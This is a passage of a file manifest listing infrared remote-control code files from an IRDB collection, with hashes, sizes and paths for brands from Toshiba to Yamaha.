+F:9b400c635a50f75d25698fc7e57d2b1f:8058:infrared/_CSV-IRDB_/Toshiba/DVD Player/69,-1.ir +F:5516ef3dfe3a7ee5c249af0cd8292d8f:4458:infrared/_CSV-IRDB_/Toshiba/TV/64,-1.ir +F:2d1f180d88cb679190d0b16aa8004016:2774:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-816/64,-1.ir +F:9ba56c8eb493fe17505c5e5f80afefcf:3146:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-826/64,-1.ir +F:ca7fb050b6791330aab21c28431d465e:2767:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-832/64,-1.ir +F:515495b2590452804d8e9d5f2a3d8551:2584:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-859/64,-1.ir +F:01716dcf8bd73a7be3641cf8533e87ef:1456:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90038/231,10.ir +F:576a2fcae9ae379296c6490cbeb77119:1186:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90205/231,10.ir +F:9eea554b9b3429f696478f03ad6bfec3:3568:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90298/64,-1.ir +F:cf1f31b7500a7d6800dfcad3aa3872da:4044:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-90326/64,-1.ir +F:75d096785615adf31b8e1a14cc9bc926:2400:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9573/64,-1.ir +F:dd24665f5028ec521a7506ed62255cb3:2855:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9784/64,-1.ir +F:6aa46888da8695f02513b7a40fe3d396:3419:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9881/134,107.ir +F:f5afb3144912fde9d20d3077a5def3f2:2967:infrared/_CSV-IRDB_/Toshiba/Unknown_CT-9952/64,-1.ir +F:7540d00c6749fbd493c955cab4fc3edb:4238:infrared/_CSV-IRDB_/Toshiba/Unknown_G83C0008A110/4,15.ir +F:dc7b72871036a2217836c3c190eb041d:3247:infrared/_CSV-IRDB_/Toshiba/Unknown_RM-614Q/5,5.ir +F:02fccf1c5bdb29d854b1fcab27d2d5d5:4200:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0031/69,-1.ir +F:4b85bcd00ba65f80bd9e7e4baab97695:4298:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir +F:d17774cfee0343dc3a0837b63a9abe0c:4679:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir +F:3207eda5d8cc5669e8783f27a594f199:1382:infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir +F:668b8f7fefee217237188386566af2e5:3379:infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir +F:af13c4efd226204610f09d62d9ff9b98:3776:infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir +F:ef385cc4d3a11352da01dcbaeb37a801:1832:infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir +F:220921dd42d3ef3d9872ca2ab8d1f00c:2771:infrared/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir +F:4b85bcd00ba65f80bd9e7e4baab97695:4298:infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir +F:12ab0dc725c0dc0f66b05223d6bd7570:4190:infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir +F:6386c6550c937968b77f0ef8a784459b:3864:infrared/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir +F:c7f57479b0fbb6f1ad41e63857c5480d:2303:infrared/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir +F:d2ed0623178800515f28db7bca387e3f:2611:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir +F:288fc90264a31c0bc725b8d45ce23fe6:3642:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir +F:3e3f3e64cbb4bfb0969693d460914412:3156:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir +F:b416a1dfa7d98db918334d6850159de4:3241:infrared/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir +F:9cfdd277defb3efe780575af74f03abb:2108:infrared/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir +F:2f72e433ee007bed33f21e256a7f15b4:3001:infrared/_CSV-IRDB_/Toshiba/VCR/68,-1.ir +D:infrared/_CSV-IRDB_/Total Control/Unknown_Control +F:8945522364c0b14540c9f4b5abf754bb:3818:infrared/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir +D:infrared/_CSV-IRDB_/Total Media In Hand/Unknown_Media +F:7e9885df88f1da37d1c41f78bd147b6f:3360:infrared/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir +D:infrared/_CSV-IRDB_/Traxis/Unknown_3500 +F:74f1e35d9c907a95c8be81905ff859eb:1350:infrared/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir +D:infrared/_CSV-IRDB_/Trust/Unknown_RC-2400 +F:bf84e5d4aad3f6a386dde2fffebc77eb:4133:infrared/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir +D:infrared/_CSV-IRDB_/Trutech/Unknown_TV +F:5b59353db15957db4cadfa525f04ddb1:2117:infrared/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir +D:infrared/_CSV-IRDB_/Turtle Beach/MP3 Player +F:9541906959510e792ff180c70dbcd87a:230:infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir +F:8cf0c207e121c96246fa5bd3e3922953:3935:infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir +D:infrared/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron +F:c63ca84978e1072596ae5d29d60dc0a8:3759:infrared/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir +D:infrared/_CSV-IRDB_/Twinhan/Unknown_AD-SP200 +D:infrared/_CSV-IRDB_/Twinhan/Unknown_DTV +F:d0e778ccbe48c5c702c8c7d9d68d56c6:5075:infrared/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir +F:43d9bb93321a8f70df379b1ebccddccb:3090:infrared/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir +D:infrared/_CSV-IRDB_/Typhoon/Unknown_DTV +D:infrared/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3 +F:43d9bb93321a8f70df379b1ebccddccb:3090:infrared/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir +F:786f1bc79240309f2cf2452c6c98d987:2298:infrared/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir +D:infrared/_CSV-IRDB_/UEC/Unknown_DVB +F:4c4cc23c078a2884d201b59ac0dd41b3:3074:infrared/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir +D:infrared/_CSV-IRDB_/UPC/Unknown_SAT +F:2db99c52e476ec710b08dfb17dcd01bd:1647:infrared/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir +D:infrared/_CSV-IRDB_/US Electronics/Cable Box +F:94d6069a5639fdd58b5c95d99271602d:3424:infrared/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir +D:infrared/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA +F:6fc8f3e7b1619ded58f6ffe2880b0c61:3451:infrared/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir +D:infrared/_CSV-IRDB_/Umax/Unknown_D-701 +F:8d2d26b98e8cc1fd77c038bf515777ef:2555:infrared/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir +D:infrared/_CSV-IRDB_/Uniden/Satellite +F:7356176b386d438db0dd3ca93ae2b78c:3707:infrared/_CSV-IRDB_/Uniden/Satellite/1,-1.ir +D:infrared/_CSV-IRDB_/United/Unknown_United-DVD4057M +F:be662eb6a8952057c2826b37b30d5a85:4477:infrared/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir +D:infrared/_CSV-IRDB_/Universal/Unknown_001 +D:infrared/_CSV-IRDB_/Universal/Unknown_006 +D:infrared/_CSV-IRDB_/Universal/Unknown_089 +D:infrared/_CSV-IRDB_/Universal/Unknown_101 +D:infrared/_CSV-IRDB_/Universal/Unknown_111 +D:infrared/_CSV-IRDB_/Universal/Unknown_Knopex +D:infrared/_CSV-IRDB_/Universal/Unknown_MC-10 +D:infrared/_CSV-IRDB_/Universal/Unknown_Powerhouse +D:infrared/_CSV-IRDB_/Universal/Unknown_RC +D:infrared/_CSV-IRDB_/Universal/Unknown_RM-V211T +D:infrared/_CSV-IRDB_/Universal/Unknown_RZ-55 +D:infrared/_CSV-IRDB_/Universal/Unknown_URC-6012w +D:infrared/_CSV-IRDB_/Universal/Unknown_cme +D:infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf +D:infrared/_CSV-IRDB_/Universal/Unknown_lt3607-aux599 +D:infrared/_CSV-IRDB_/Universal/Unknown_testrecord.config +D:infrared/_CSV-IRDB_/Universal/Unknown_tv +F:01d2a799421a8408fbb5842e72ececc5:4015:infrared/_CSV-IRDB_/Universal/Unknown_001/4,15.ir +F:1b69dbe2a6c3e5d53a81c34eea2f02b3:2717:infrared/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir +F:560f1d3dfb4b85896ab7c65adbf1fc26:2398:infrared/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir +F:1dfc8bf43c737e85e9212f606915d9c9:4931:infrared/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir +F:9607f95c1e47ba4000ed63d95cdd2930:4585:infrared/_CSV-IRDB_/Universal/Unknown_111/135,124.ir +F:022f9f10b990cccd50b46599d8cc53ae:2884:infrared/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir +F:be63297fae7ef75fee27590adf38abae:3080:infrared/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir +F:1acfefef3a92e639612f4083c68340b4:2195:infrared/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir +F:98410cce2913e6ddb01ea50bdb64fd14:2777:infrared/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir +F:042d23f945a39206aa82b6b74ddef67d:2859:infrared/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir +F:fe6793286a559fd5a1c37687a863eca3:4525:infrared/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir +F:defa1a7e42624dc90634aa23a961f907:3090:infrared/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir +F:cff05dc47d25e28f5315350154b992fc:4518:infrared/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir +F:ba673d31fc2a3db87d96cafdc29b4979:2957:infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir +F:6d75931019f14a5cc4be854692095f52:3616:infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir +F:f6bb5a7822eec0263100dbfe5411b070:2293:infrared/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir +F:b3fd5bf4110bb2d797ac3fcf4905ae98:4525:infrared/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir +F:c24c5bdd0dd395e3a2d063d02f531a7f:334:infrared/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir +D:infrared/_CSV-IRDB_/Velodyne/Subwoofer +F:4ae50d44ec9da9bc3cffaf85ad47d5ba:504:infrared/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir +D:infrared/_CSV-IRDB_/Venturer/Unknown_STB7766G1 +D:infrared/_CSV-IRDB_/Venturer/Unknown_boombox +F:67a1a9ad635e162168bcffc98f8edc55:2588:infrared/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir +F:670a00a301b17f3daf3f4b0d29d03ea2:705:infrared/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir +D:infrared/_CSV-IRDB_/Vestel/Unknown_TV +F:2168d8cef5052321bc3abd77f53ea384:3650:infrared/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir +D:infrared/_CSV-IRDB_/Video7/Unknown_Video7-RC750 +F:2ec37e9ce41902f9e2ac7cf6506f935c:2393:infrared/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir +D:infrared/_CSV-IRDB_/Vidikron/Video Projector +F:fd7fe8fa99a0c9ec2099fe625361f506:2593:infrared/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir +D:infrared/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF +D:infrared/_CSV-IRDB_/ViewSonic/Unknown_RC00070P +D:infrared/_CSV-IRDB_/ViewSonic/Unknown_vsnv6 +F:f464586911aed9910ef65ba8dce4af8e:4672:infrared/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir +F:88a67b1425bd00922cd0f2e86b28d83b:4185:infrared/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir +F:75e4a980e656b2baca3eed1ede3a6c24:2768:infrared/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir +D:infrared/_CSV-IRDB_/Viewmaster/Unknown_RC-03 +F:7d27e53f6bf735c1716634e25f4c9cea:4389:infrared/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir +D:infrared/_CSV-IRDB_/Viewsat/Unknown_SAT +D:infrared/_CSV-IRDB_/Viewsat/Unknown_VS2000 +F:53a65c05de542292752e19c6b9dd455d:3739:infrared/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir +F:2c164225eb665a363dcf134ca6452689:3717:infrared/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir +D:infrared/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO +F:96d103d9ac3f0b210452ffe515fe6dca:4124:infrared/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir +D:infrared/_CSV-IRDB_/Visionetics/Unknown_Cable +F:f35f45b146c31f7012b98fb599430cc0:1740:infrared/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir +D:infrared/_CSV-IRDB_/Vistron/Unknown_DVD-5211 +D:infrared/_CSV-IRDB_/Vistron/Unknown_LTM-3271E +F:31b51536aa440622b893cad420e097c5:3996:infrared/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir +F:6943947ef22bc8b224ddaa2d6cd59a86:4769:infrared/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir +D:infrared/_CSV-IRDB_/Vivanco/Unknown_DVD +D:infrared/_CSV-IRDB_/Vivanco/Unknown_UR2 +D:infrared/_CSV-IRDB_/Vivanco/Unknown_ur89 +F:6a98253941b0fef1b10a560348040259:3154:infrared/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir +F:9ade230c2f3a755c01c48659b625ecd1:2553:infrared/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir +F:48265888ab719498f6a9c2a7c2572d99:3524:infrared/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir +D:infrared/_CSV-IRDB_/Vizio/Unknown_VX37L +D:infrared/_CSV-IRDB_/Vizio/Unknown_Vizio +F:7bafead1373fb5dc472975158dd9ea79:4536:infrared/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir +F:90482e3ac11b44856c0bc5b5a504d545:2747:infrared/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir +D:infrared/_CSV-IRDB_/VocoPro/Karaoke +F:1149b094088392d41683deaa1f58e948:792:infrared/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir +D:infrared/_CSV-IRDB_/Voxson/Unknown_PT2222-1 +F:f82bc012f21daa0a2626db1fd6829096:4589:infrared/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir +D:infrared/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1 +D:infrared/_CSV-IRDB_/WD/Unknown_TV +F:fae482686f97b801103a0baef493989c:1680:infrared/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir +F:9925d1334e868360f7d23c6e6b52d257:1678:infrared/_CSV-IRDB_/WD/Unknown_TV/132,121.ir +D:infrared/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1 +D:infrared/_CSV-IRDB_/Westinghouse/Unknown_RMT +F:cb6325827c3bfee82b5ee7114ddad1bb:2849:infrared/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir +F:ea5926973ad824fde2c10008082b51b1:4268:infrared/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir +D:infrared/_CSV-IRDB_/Wilfa/Unknown_RVC-17 +F:0ba9abcd63feacbf41aea519defab81b:792:infrared/_CSV-IRDB_/Wilfa/Unknown_RVC-17/64,175.ir +D:infrared/_CSV-IRDB_/XMS/Unknown_XMS503 +F:16bacd0c166d8b9725169255f1dae34f:4568:infrared/_CSV-IRDB_/XMS/Unknown_XMS503/32,-1.ir +D:infrared/_CSV-IRDB_/XORO/Sat +D:infrared/_CSV-IRDB_/XORO/Unknown_DVB +F:1e0656a1b6a0980f86c0609a2deed1c4:3925:infrared/_CSV-IRDB_/XORO/Sat/0,191.ir +F:9d8ecdb5361161534574ff99bb425b74:2983:infrared/_CSV-IRDB_/XORO/Unknown_DVB/1,-1.ir +D:infrared/_CSV-IRDB_/Xantech/Programmer +D:infrared/_CSV-IRDB_/Xantech/Relay Module +F:94b34c35181a554a49df029b25bffa95:1503:infrared/_CSV-IRDB_/Xantech/Programmer/6,-1.ir +F:bb7fb110b2e9c6304a32e57357a291e7:2991:infrared/_CSV-IRDB_/Xantech/Relay Module/6,-1.ir +D:infrared/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D +F:bad106125575cfce0267ccdbab4b5c89:4485:infrared/_CSV-IRDB_/Xlogic/Unknown_XLOGIC-KF8000D/64,63.ir +D:infrared/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer +F:42f421f5b576f2f37a7dd059f653cbda:3279:infrared/_CSV-IRDB_/Xtreamer/Unknown_Xtreamer/0,-1.ir +D:infrared/_CSV-IRDB_/YES/Unknown_YES +F:04887972e737eb6d56bd78e2748710f3:3429:infrared/_CSV-IRDB_/YES/Unknown_YES/132,60.ir +D:infrared/_CSV-IRDB_/Yakumo/Unknown_DVD +F:444b94ea18ece6c6c65ddf6c85180c89:4296:infrared/_CSV-IRDB_/Yakumo/Unknown_DVD/4,-1.ir +D:infrared/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx +D:infrared/_CSV-IRDB_/Yamada/Unknown_PVD-500 +F:d15cd44c9d7090f79d0f22bd0a822bba:4288:infrared/_CSV-IRDB_/Yamada/Unknown_DVX-6xxx/4,-1.ir +F:45bc1cd257d8e7db7831c6064ed3f1ce:3055:infrared/_CSV-IRDB_/Yamada/Unknown_PVD-500/0,-1.ir +D:infrared/_CSV-IRDB_/Yamaha/Amplifier +D:infrared/_CSV-IRDB_/Yamaha/Blu-Ray +D:infrared/_CSV-IRDB_/Yamaha/CD Changer +D:infrared/_CSV-IRDB_/Yamaha/CD Jukebox +D:infrared/_CSV-IRDB_/Yamaha/CD Player +D:infrared/_CSV-IRDB_/Yamaha/CD-R +D:infrared/_CSV-IRDB_/Yamaha/Cassette Tape +D:infrared/_CSV-IRDB_/Yamaha/DAT +D:infrared/_CSV-IRDB_/Yamaha/DSP +D:infrared/_CSV-IRDB_/Yamaha/DVD +D:infrared/_CSV-IRDB_/Yamaha/DVD Changer +D:infrared/_CSV-IRDB_/Yamaha/DVD Player +D:infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp +D:infrared/_CSV-IRDB_/Yamaha/DVD Receiver +D:infrared/_CSV-IRDB_/Yamaha/DVR +D:infrared/_CSV-IRDB_/Yamaha/Laser Disc +D:infrared/_CSV-IRDB_/Yamaha/Mini System +D:infrared/_CSV-IRDB_/Yamaha/Music Server +D:infrared/_CSV-IRDB_/Yamaha/Plasma +D:infrared/_CSV-IRDB_/Yamaha/Projector +D:infrared/_CSV-IRDB_/Yamaha/Receiver +D:infrared/_CSV-IRDB_/Yamaha/Sound Projector +D:infrared/_CSV-IRDB_/Yamaha/Stereo Receiver +D:infrared/_CSV-IRDB_/Yamaha/Tuner +D:infrared/_CSV-IRDB_/Yamaha/Unknown_DVD +D:infrared/_CSV-IRDB_/Yamaha/Unknown_DVD-RC +D:infrared/_CSV-IRDB_/Yamaha/Unknown_JVCDVD +D:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV-12 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV14 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV16 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_RAV207 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX +D:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX-750 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX2 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_RCX660 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CD5 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_RS-CX600 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_RS-K3 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_RX-450 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_RX-CX800 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_RX-V850 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_TX-1000 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_V499920 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_VI47320 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_VI77760 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_VJ59810 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_VJI5420 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_VK34080 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_VK38010 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_VM70300 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_VP59040 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_VQ95010 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_VR81350 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_VU71330 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_YAMAHA +D:infrared/_CSV-IRDB_/Yamaha/Unknown_av +D:infrared/_CSV-IRDB_/Yamaha/Unknown_cdx-493 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_rax9 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_receiver +D:infrared/_CSV-IRDB_/Yamaha/Unknown_vu50620 +D:infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp +D:infrared/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7 +D:infrared/_CSV-IRDB_/Yamaha/Video Projector +D:infrared/_CSV-IRDB_/Yamaha/iPod Dock +F:6d6d04cd1221fbbbafc85e67fee538d3:3666:infrared/_CSV-IRDB_/Yamaha/Amplifier/120,-1.ir +F:828df3f7c22594956d0ca2e729562171:2689:infrared/_CSV-IRDB_/Yamaha/Amplifier/122,-1.ir +F:0c353937bce0cbedc8c6d47965dc0924:2785:infrared/_CSV-IRDB_/Yamaha/Amplifier/125,-1.ir +F:b42f1504d2ee48e4edc548d43990ab0d:4953:infrared/_CSV-IRDB_/Yamaha/Blu-Ray/124,-1.ir +F:865897bfdcf460e64f00d7b05b8ac986:4284:infrared/_CSV-IRDB_/Yamaha/CD Changer/121,-1.ir +F:7a8950626e99fa81ff7a08411b76ea72:1264:infrared/_CSV-IRDB_/Yamaha/CD Changer/122,-1.ir +F:082fbdcc61efa11e98980600b1fa864b:5065:infrared/_CSV-IRDB_/Yamaha/CD Jukebox/121,-1.ir +F:059d6cf2c33bfc1d9f9ba054f33d301b:133:infrared/_CSV-IRDB_/Yamaha/CD Jukebox/122,-1.ir +F:5fb680b54a10672e0a1db707d36de688:16026:infrared/_CSV-IRDB_/Yamaha/CD Player/121,-1.ir +F:44ee8ea247e1c6a422e917e40242ab0d:1456:infrared/_CSV-IRDB_/Yamaha/CD Player/122,-1.ir +F:c98fd375f1fca95aeb85dfdae44893af:4001:infrared/_CSV-IRDB_/Yamaha/CD-R/127,-1.ir +F:285c7a5d6163423c841e7acf4713e7c1:135:infrared/_CSV-IRDB_/Yamaha/Cassette Tape/122,-1.ir +F:5bb1a6c4d87e027f2ec0dfea9e87b4b8:1195:infrared/_CSV-IRDB_/Yamaha/Cassette Tape/127,-1.ir +F:969fad7dca0263e138b9805702ff2675:5435:infrared/_CSV-IRDB_/Yamaha/DAT/128,55.ir +F:af034b483a9375898916970075fef560:2486:infrared/_CSV-IRDB_/Yamaha/DSP/120,-1.ir +F:b571a54fe3a725f9e232cc6410448917:3573:infrared/_CSV-IRDB_/Yamaha/DSP/122,-1.ir +F:d981c9b6141f38f74ff0d7d8ebb740f3:684:infrared/_CSV-IRDB_/Yamaha/DSP/4,-1.ir +F:99e7199f8781dbd1e7c7b256ced5270d:134:infrared/_CSV-IRDB_/Yamaha/DSP/6,-1.ir +F:3a58307eba225e451bc3c92f84d8e6dd:418:infrared/_CSV-IRDB_/Yamaha/DSP/80,-1.ir +F:9d64af737626e74a66a3527c8d6df115:1289:infrared/_CSV-IRDB_/Yamaha/DSP/87,-1.ir +F:8e6b9dc9c74a292ff7e2733740718fa8:16585:infrared/_CSV-IRDB_/Yamaha/DVD/124,-1.ir +F:4c375b1ec69d37ae9dbf4e51619761d1:3372:infrared/_CSV-IRDB_/Yamaha/DVD/176,0.ir +F:dc60b005453732f5c285541888602444:11721:infrared/_CSV-IRDB_/Yamaha/DVD/4,-1.ir +F:0c96393fef21f4c785ea182fbfeb8bea:7325:infrared/_CSV-IRDB_/Yamaha/DVD Changer/4,-1.ir +F:1309530244b6ad1074f6e5efce4717c1:26312:infrared/_CSV-IRDB_/Yamaha/DVD Player/124,-1.ir +F:da06c4bfc59dfdf1214efc30339a20b9:8185:infrared/_CSV-IRDB_/Yamaha/DVD Player/176,0.ir +F:ad8a889352f9a67a8345f5c7c17df740:17084:infrared/_CSV-IRDB_/Yamaha/DVD Player/4,-1.ir +F:656855a375c5325966280defde986eba:2870:infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/120,-1.ir +F:7b62c0761d67065d333d3ef7f5977feb:3911:infrared/_CSV-IRDB_/Yamaha/DVD Pre-amp/124,-1.ir +F:878c7a5cdabe3fe8e1bb208559d8d21a:2930:infrared/_CSV-IRDB_/Yamaha/DVD Receiver/120,-1.ir +F:4b2c72d67b2d68c36c249f7fbe375ae9:1832:infrared/_CSV-IRDB_/Yamaha/DVD Receiver/124,-1.ir +F:39ef9a73423bda86b519ff31ec8b9904:3432:infrared/_CSV-IRDB_/Yamaha/DVR/120,-1.ir +F:acb63d8f3a70eefa4ad800660106a958:5108:infrared/_CSV-IRDB_/Yamaha/DVR/124,-1.ir +F:36fdc6243feebf03d9636bd25134b373:419:infrared/_CSV-IRDB_/Yamaha/DVR/71,-1.ir +F:59f6f9847d869a8c0ee719facbc76c0a:2318:infrared/_CSV-IRDB_/Yamaha/Laser Disc/124,-1.ir +F:086642698e7a81ffd5e275e18dc0a4c5:4107:infrared/_CSV-IRDB_/Yamaha/Mini System/120,-1.ir +F:3a3f5571dcd08b448dec748b411d9701:8018:infrared/_CSV-IRDB_/Yamaha/Music Server/128,55.ir +F:8a912673aebafb21bba08bbd5b573aec:2240:infrared/_CSV-IRDB_/Yamaha/Plasma/80,-1.ir +F:899cd676d2a35a4ab62af68743122958:16059:infrared/_CSV-IRDB_/Yamaha/Projector/209,-1.ir +F:4484e013e80eb59e1527852c8dba7408:2305:infrared/_CSV-IRDB_/Yamaha/Projector/240,-1.ir +F:7cc2e7a843a2557b7b9286ba96cffdff:135:infrared/_CSV-IRDB_/Yamaha/Receiver/0,-1.ir +F:6908a04606e7a21bbf240a0f512b7abb:135:infrared/_CSV-IRDB_/Yamaha/Receiver/0,0.ir +F:667cf52d401abb7cea31e9c625d9664f:5230:infrared/_CSV-IRDB_/Yamaha/Receiver/120,-1.ir +F:b955b089d90d1b0d09c85f14acff56b4:129:infrared/_CSV-IRDB_/Yamaha/Receiver/121,-1.ir +F:547f6c404bf775a188b8b37076902b0f:244127:infrared/_CSV-IRDB_/Yamaha/Receiver/122,-1.ir +F:78750667e6d205a9952082c99ab27724:9739:infrared/_CSV-IRDB_/Yamaha/Receiver/124,-1.ir +F:ab242237276af1c5ce499970d7641bcb:16057:infrared/_CSV-IRDB_/Yamaha/Receiver/125,-1.ir +F:7321e2027e7b58d3f04d8fc28b2a8118:225337:infrared/_CSV-IRDB_/Yamaha/Receiver/126,-1.ir +F:1a560451cd5512fe2db37196cde8998d:99934:infrared/_CSV-IRDB_/Yamaha/Receiver/127,1.ir +F:743bc9f27cf57daa3b194adca5fa2095:233:infrared/_CSV-IRDB_/Yamaha/Receiver/15,-1.ir +F:87b94b76dd98b04771b10c3a1cc76fad:743:infrared/_CSV-IRDB_/Yamaha/Receiver/209,-1.ir +F:4d08c404828660aa05e671cfd9c7b747:2127:infrared/_CSV-IRDB_/Yamaha/Receiver/4,-1.ir +F:f1321a64e6fed990760d5aac3945d9fc:231:infrared/_CSV-IRDB_/Yamaha/Receiver/6,-1.ir +F:52d5785ab14ce722f2154c5b8b1975e6:126:infrared/_CSV-IRDB_/Yamaha/Receiver/8,-1.ir 